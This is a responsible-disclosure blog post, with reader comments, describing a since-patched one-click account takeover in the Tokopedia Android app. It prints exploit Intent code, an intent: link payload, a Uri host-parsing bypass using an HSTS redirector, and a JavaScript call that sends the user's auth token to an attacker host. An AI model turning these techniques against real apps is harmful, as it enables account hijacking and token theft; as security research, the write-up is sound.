Thursday, September 19, 2024

Exploiting Android Client WebViews with Help from HSTS

TL;DR


I discovered a one-click account takeover vulnerability in a popular Indonesian Android app called Tokopedia. The chain involves URI parsing issues and custom WebViews, but ultimately it was only exploitable using a payload hosted on a web domain in Google's HSTS preload list. This blog post explores the vulnerability in detail and serves as the public reveal of my free HSTS+HTTPS Redirection service, a useful tool for exploiting URL-parsing vulnerabilities on Android.


Scenario


Tokopedia is a popular e-commerce website/mobile app in Indonesia; it's analogous to Amazon in a lot of other countries (and similarly ubiquitous). The company was acquired by ByteDance in January 2024 and boasts over 100 million downloads on the Google Play Store.



I hack a lot of Android apps (RIP GPSRP), but I don't often have the opportunity/permission to publish my findings in this realm. In June 2024 I found a high-severity vulnerability in the Tokopedia Android client and reported it to ByteDance. Although the Tokopedia client isn't included in the ByteDance/TikTok bug bounty program on HackerOne, the ByteDance security team was highly communicative and moved quickly to verify, triage, and mitigate the issue. They were also kind enough to allow me to publish my findings after the vulnerabilities were patched.

Note: All the research in this blog post is relevant to the latest version of the Tokopedia Android app as of July 2, 2024 (com.tokopedia.tkpd version 3.270.0 / 320327001 according to the app manifest; direct download available from APKMirror). All code snippets have been cleaned up for readability, and any obfuscated class names should correlate to the aforementioned app version.


Entry Point

Typically in any Android app assessment, the first thing to look at is the app manifest (AndroidManifest.xml). In the manifest, I saw the following exported Activity:

<!-- ... -->
<activity ... android:exported="true" ...
android:name="com.tokopedia.navigation.presentation.activity.NewMainParentActivity"
          ... >
 <intent-filter>
   <action android:name="android.intent.action.VIEW"/>
   <category android:name="android.intent.category.BROWSABLE"/>
   <category android:name="android.intent.category.DEFAULT"/>
   <data 
     android:scheme="tokopedia-android-internal"
     android:host="home"
     android:path="navigation"
   />
 </intent-filter>
 <!-- ... -->

Let's break this down. The app exports the NewMainParentActivity class; this means the component can be triggered by code outside of the app. The Intent filter indicates that the Activity can be launched by an Intent with the android.intent.action.VIEW action that contains a URI of the following format:

tokopedia-android-internal://home/navigation

This can be triggered from an Activity in another Android app like so:

Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
startActivity(intent);

However, there's a much easier way to trigger an Intent that meets the filter criteria: clicking a hyperlink (e.g., in a web browser). For example, the following HTML code creates a hyperlink that triggers the Activity when clicked in Chrome web browser:

<a href="tokopedia-android-internal://home/navigation">Click me!</a>

This was an entry point into the app, but exported components are standard behavior for an Android app and not necessarily indicative of a vulnerability. Next I had to investigate the behavior of the NewMainParentActivity class.


App Navigation

Tracing a code path from onNewIntent, I found that the app parses an Intent extra:

// ...
String applink = intent.getStringExtra("EXTRA_APPLINK");
// ...
com.tokopedia.applink.o.x(this, applink, new String[0]);

The EXTRA_APPLINK value is a second tokopedia-android-internal:// URL that is ingested by a custom navigation mechanism to determine which feature of the app to navigate to. The code paths are a bit too convoluted to show in this blog post, but I did some preliminary analysis and found over 400 different "app link" URLs to trigger different mechanisms within the app.

After spending some time testing different "app links" that looked interesting, I encountered this one:

tokopedia-android-internal://user/webview-kyc

Using Frida instrumentation, I discovered that this URL triggers another Activity, com.tokopedia.kyc_centralized.ui.gotoKyc.webview.WebviewWithGotoKycActivity, which is not exported in the app manifest. While such behavior still isn't uncommon (nor is it necessarily indicative of a vulnerability), things often start to get interesting when you're accessing non-exported components.

When I tried to investigate the WebviewWithGotoKycActivity class, I couldn't find it anywhere in the APK decompilation output. This might be a result of code obfuscation, or it could be related to a custom runtime code-patching mechanism that the app uses (while unrelated to this post, the code-patching mechanism is very interesting - it injects a shim into almost every function in the app, and checks if there's a patch available at run-time). I didn't spend time trying to figure out why the class was missing from the decompilation output. Instead, I used frida-dexdump to dump all the app code from memory at run-time, then used grep to determine which DEX file contained the class, and then decompiled that file for analysis.

WebviewWithGotoKycActivity inherits from com.tokopedia.webview.BaseSimpleWebViewActivity, which contains a custom Fragment with a custom WebView (com.tokopedia.webview.TkpdWebView). Custom WebViews often expose sensitive functionality, so this seemed like a good target for exploitation if I could load a malicious website into TkpdWebView. To load a URL into TkpdWebView, the target URL is specified in the url query parameter of the Intent URL that triggered WebviewWithGotoKycActivity (we'll use https://example.com as a placeholder for now):

tokopedia-android-internal://user/webview-kyc?url=https://example.com

I don't blame anyone if they're confused at this point, because there are essentially three nested URLs required to access TkpdWebView. For this reason, I think it might be helpful to summarize the navigation flow thus far:

  • tokopedia-android-internal://home/navigation: Contained in an Intent that was triggered by another app or from clicking on a link; this opens NewMainParentActivity.
  • tokopedia-android-internal://user/webview-kyc?url=${URL3}: Stored in the EXTRA_APPLINK extra of the Intent; this is parsed by NewMainParentActivity to open WebviewWithGotoKycActivity.
  • https://example.com: Contained in the url parameter of the second URL; this is loaded by TkpdWebView.

Expanding on our previous example, the following code snippet will trigger the custom WebView from another app:

Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=https://example.com");
startActivity(intent);

Unfortunately, this wasn't the whole story (it rarely ever is). When I loaded https://tokopedia.com/robots.txt into TkpdWebView, it behaved as expected:

Tokopedia's robots.txt loaded in TkpdWebView.

However, when I tried to load https://example.com into the WebView, it opened the URL in the default browser app (Chrome) instead. This indicated that the app was performing URL validation before loading the URL into the custom WebView.


URL Validation

Diving back into the code, I found that the URL was being checked by BaseSimpleWebViewActivity using the following functions (note that these methods have been truncated and renamed for readability):
public final boolean is_tokopedia_url(String url) {
    // ...
    String host = this.get_host(url);
    return x.ends_with(host, ".tokopedia.com", false, 2, null) || kotlin.jvm.internal.s.equals(host, "tokopedia.com");
}

public final String get_host(String url) {
    // ...
    String host = Uri.parse(url).getHost();
    if(host != null) {
        if(x.starts_with(host, "www.", false, 2, null)) {
            host = host.substring(4);
            // ...
            return host;
        }
        return host;
    }
    return "";
}
This code extracts the domain/host name segment of the URL and checks whether it's a subdomain of tokopedia.com. If is_tokopedia_url returns true, the URL is loaded into the custom WebView; otherwise, the URL is opened in the external web browser.

This validation mechanism might seem robust at first, but it has a fatal flaw: it uses the android.net.Uri class to parse the URL. According to the Uri class documentation:

In the interest of performance, this class performs little to no validation. Behavior is undefined for invalid input. This class is very forgiving -- in the face of invalid input, it will return garbage rather than throw an exception unless otherwise specified.

In other words, the Uri class might not behave intuitively for some inputs. For this reason, many Android vulnerabilities arise from the use of the Uri class in security-critical contexts. 

For example, let's say that getHost was called on a Uri object constructed with the following string data:
attacker.com?://victim.com/
The Uri class returns the host name victim.com, and attacker.com?:// is parsed as the scheme/protocol. This might not seem strange at first, but what happens if you enter the same URL into your web browser? On all "mainstream" web browsers, the above URL actually resolves to the following:
http://attacker.com/?://victim.com/
When no protocol is provided, web browsers will assume that the protocol is http:// (except in specific scenarios that will be discussed later). This is a big deal; code that parses a malicious URL using the Uri class will expect a connection to victim.com, but if that same URL is passed to a browser (e.g., a custom WebView), the browser will actually load attacker.com.

Knowing all of this, I tried to use the following URL to load example.com into TkpdWebView:
example.com?://tokopedia.com/
Unfortunately, I was foiled once again, but this time the behavior was different: instead of loading the URL into the external web browser, the app simply loaded the default app home screen (my URL was seemingly ignored). Clearly there was more URL validation I had missed.

I found more URL validation in the custom Fragment class:
public final String get_url(Bundle args) {
    // ...
    String url = ke4.b.url_decode(args.getString("url", "https://www.tokopedia.com/"));
    return url.startsWith("http") ? url : "https://www.tokopedia.com/";
}
If the URL doesn't start with "http", the app loads the Tokopedia home page. This was simple enough to bypass; instead of using example.com for testing, I used http.com (or any other domain that starts with "http"):
http.com?://tokopedia.com/
Once again, the app displayed different behavior, but not the behavior I wanted:


Attempting to load a plain-text HTTP URL results in net::ERR_CLEARTEXT_NOT_PERMITTED.

As explained above, browsers and WebViews will automatically prepend "http://" to a URL if no protocol is specified. On Android 9 and above, the default security settings prevent WebViews from loading plain-text HTTP URLs. This can be overridden using a network security configuration with cleartextTrafficPermitted="true", but it is not recommended. In the case of Tokopedia, the app was not configured to allow plain-text traffic, resulting in the net::ERR_CLEARTEXT_NOT_PERMITTED error.

I needed a way to load an HTTPS URL, but I couldn't specify the protocol in the URL string due to my URL validation bypass technique. Fortunately, I've spent a lot of time in the Android security world, and I was prepared for this scenario.

HTTP Strict Transport Security

Before we go any further, it's important to understand HTTP Strict Transport Security, or HSTS. There are plenty of resources for learning about HSTS, so I'm only going to provide a brief explanation here.

HSTS is a browser security mechanism that prevents the use of plain-text HTTP, even if the user enters a URL starting with "http://". If a server has HSTS enabled, it sends an HTTP response header such as the following:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
When the site is visited in a web browser, the browser caches the HSTS configuration for the amount of time specified by the max-age field. Then, in all subsequent visits to the website, the browser knows that the website should only be loaded over TLS (HTTPS), so even if the URL starts with "http://", it will be changed to "https://" before any network connections are performed.

If the website has never been visited, and the browser connects using a plain-text HTTP URL, the first request will use plain-text HTTP (because the browser has no cached HSTS policy). However, there is an exception to this behavior: the preload directive. Google maintains an "HSTS Preload List" used by all modern browsers. Domains in this list are automatically loaded over TLS even if the browser is visiting for the first time. For Chromium-based browsers, this list is literally hard-coded, so different browser versions might not preload the same domains.

To add a domain to the HSTS preload list, it must be submitted to this website and then manually approved by someone at Google. The whole process can take up to a few months (several weeks for the approval, and then an indeterminate amount of time for the domain to propagate to installed instances of the web browsers).

I previously stated that browsers and WebViews will automatically prepend "http://" to a URL if no protocol is specified. This isn't always true, as there is one exception: if the domain is in the HSTS preload list, the browser/WebView will instead prepend "https://" - as such, this can be extremely helpful for exploiting URL-parsing vulnerabilities like the one we've been examining in this blog post.

HTTPSRedirector

Having encountered ERR_CLEARTEXT_NOT_PERMITTED in the past, I was bothered by the lack of a readily-available solution, so early in 2024 I created an HSTS preload-enabled redirection service. This website is automatically loaded over TLS/HTTPS on modern browsers, even if the provided URL starts with "http://". It can then be used to redirect to any other website using URLs such as the following:
https://httpsredirector.com/?u=https://example.com
https://httpsredirector.com/#u=https://example.com
Both of the above examples will redirect to example.com (note that the target URL can be specified with a query parameter or the URL fragment). The service is statically hosted on GitHub Pages because I didn't want to deal with a dynamic back-end; unfortunately this means it only supports JavaScript and HTML redirection (rather than HTTP 300 redirects). Even so, it has been extremely useful for me.

With my HSTS redirector, I could easily bypass Tokopedia's URL validation and avoid the ERR_CLEARTEXT_NOT_PERMITTED error with a URL such as the following:
httpsredirector.com?://tokopedia.com/&u=https://example.com
Expanding (yet again) on our previous examples, the following code snippet shows how this URL payload could be used by another app to attack the Tokopedia app:

Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=httpsredirector.com%3f%3a%2f%2ftokopedia.com%2f%26u%3dhttps%253a%252f%252fexample.com");
startActivity(intent);

As I previously mentioned, the behavior can also be triggered by clicking a hyperlink. The following HTML snippet shows what this would look like (and it's not pretty):

<a href="intent:tokopedia-android-internal://home/navigation#Intent;action=com.tokopedia.internal.VIEW;S.EXTRA_APPLINK=tokopedia-android-internal://user/webview-kyc?url%3dhttpsredirector.com%253f%253a%252f%252ftokopedia.com%2523u%253dhttps%253a%252f%252fexample.com;end">Exploit Tokopedia</a>

Anyway, after much effort, I was able to load an arbitrary website into TkpdWebView:


Success! https://example.com loaded inside TkpdWebView.

Even after all of this work, I still didn't actually have proof of a vulnerability. While the ability to load arbitrary websites into TkpdWebView certainly wasn't desirable behavior, it didn't meet the bar for disclosure unless I could exploit it for notable impact.

Authentication Token Disclosure

When loaded into WebviewWithGotoKycActivityTkpdWebView exposes a custom JavaScript API to the rendered website. This API includes a global object, OneKycAndroidInterface, with a function that has the following prototype:
getOneKycUserDetails(baseUrl, arg2, arg3)
A website can call this function using JavaScript code such as the following:
OneKycAndroidInterface.getOneKycUserDetails('https://attacker.com', 'arg2', 'arg3');
This triggers an HTTP request to the specified URL (as far as I can tell, there wasn't any URL validation in this feature). To test the mechanism, I set up a "malicious" website, loaded it into TkpdWebView, and called getOneKycUserDetails with a Burp Collaborator domain as the first argument. Viewing the request in Burp, I saw this:
GET /onekyc/v1/users/address-details HTTP/1.1
x-onekyc-token: arg2
x-onekyc-partner: arg3
tracestate: [redacted]
traceparent: [redacted]
newrelic: [redacted]
x-project-id: 
X-Tkpd-App-Name: com.tokopedia.tkpd
X-Device: android-3.270.0
Accounts-Authorization: Bearer [redacted]
X-Datavisor: [redacted]
x-user-locale: id_ID
x-onekyc-sdk-version: 2.4.9
x-onekyc-sdk-platform: Android
x-onekyc-sdk-host-version: 3.270.0
x-onekyc-sdk-host: TOKOPEDIA_CUSTOMER
x-onekyc-sdk-host-appId: com.tokopedia.tkpd
Host: [redacted].oastify.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.10.0
X-NewRelic-ID: [redacted]
The Accounts-Authorization header was a sight for sore eyes - it contained my Tokopedia authentication token! Finally, I had a full exploitation path with confirmed impact.


Exploitation Flow


The initial attack vector for this vulnerability chain is via URL click; essentially, a victim could be exploited simply by clicking a link (e.g., in a web browser). From there, the following would occur:
  1. The Tokopedia app automatically opens the link with NewMainParentActivity.
  2. The EXTRA_APPLINK value is extracted from the Intent and parsed, triggering WebviewWithGotoKycActivity.
  3. The url parameter is parsed and validated. If the URL passes all validation checks, it is loaded into TkpdWebView.
  4. The malicious website uses client-side JavaScript to execute OneKycAndroidInterface.getOneKycUserDetails with an attacker-controlled URL in the first argument.
  5. The app makes an HTTP request to the attacker-controlled host with the victim's Tokopedia authentication token in the Accounts-Authorization header.
Once the attacker receives the token, they can use it to make authenticated requests to the Tokopedia back-end with the victim's account.

To bring this all together, I recorded a demonstration video to show what real-world exploitation might look like:


Disclosure Timeline

The full disclosure timeline is as follows:

  • 2024-06-14: Final discovery in the vulnerability chain and first contact with ByteDance security team
  • 2024-06-17: Sent the initial disclosure/write-up to ByteDance via email (security@bytedance.com).
  • 2024-06-20 - 2024-07-03: Various email correspondence regarding reproduction, impact, public disclosure, etc.
  • 2024-07-19: Version 3.273.0 / 320327301 of the Tokopedia Android app was released, fixing the vulnerability. 
  • 2024-07-19: I reported the vulnerability to the (now-defunct) Google Play Security Rewards Program (GPSRP) and received a $500 bounty.
As an aside, I want to thank the ByteDance security team for being highly communicative and quick to respond during the responsible disclosure process. With their help, the vulnerabilities I found were forwarded to the necessary stakeholders and mitigated within a reasonable timeframe.



    3 comments:

    1. Really great write up. Did you see the injected JS in the web view first, and that give you the motivation for breaking the URL validation?

      To find that JS was injected into the web view, did you audit source code or could you also see the script in the response in Burp? I'd never heard of web views having the option to inject a JS interface.

      ReplyDelete
      Replies
      1. Great questions! Generally if an app has a custom WebView, there's a reason for it. They might register custom callback functions for various browser behaviors (redirects, download handling, TLS stuff, etc.), or add/change the standard HTTP request headers that get sent while browsing, or (as in this case) register custom JavaScript. In general, all these behaviors are inherently interesting from a security perspective, so I'm always happy to find a custom WebView (because there's a lot of potential for something to go wrong).

        It's easy to search the decompilation output for these WebView customizations too. For example, you can search the for "addJavascriptInterface" to find custom JS interfaces. Of course, if you find one, you still have to determine if there's a code path to get a malicious URL into the WebView... not always easy or possible.

        Delete
    2. I'm really impressed by the write-up and the clever bypass—well played! I do have a question about the exploit, though. From what I understand, did you create an HTML file, host it on your page, and then use window.location to load the javascriptinterface with OneKycAndroidInterface.getOneKycUserDetails, inserting your link into it? Is that correct?I'm really impressed by the write-up and the clever bypass—well played! I do have a question about the exploit, though. From what I understand, did you create an HTML file, host it on your page, and then use window.location to load the javascriptinterface with OneKycAndroidInterface.getOneKycUserDetails, inserting your burp link into it? Is that correct?
      and the bypass point
      httpsredirector.com?://tokopedia.com/&u=https://example.com
      is gethost() function in android check the part2 `tokopedia` in all cases ? and what remediation for it best practice validation

      ReplyDelete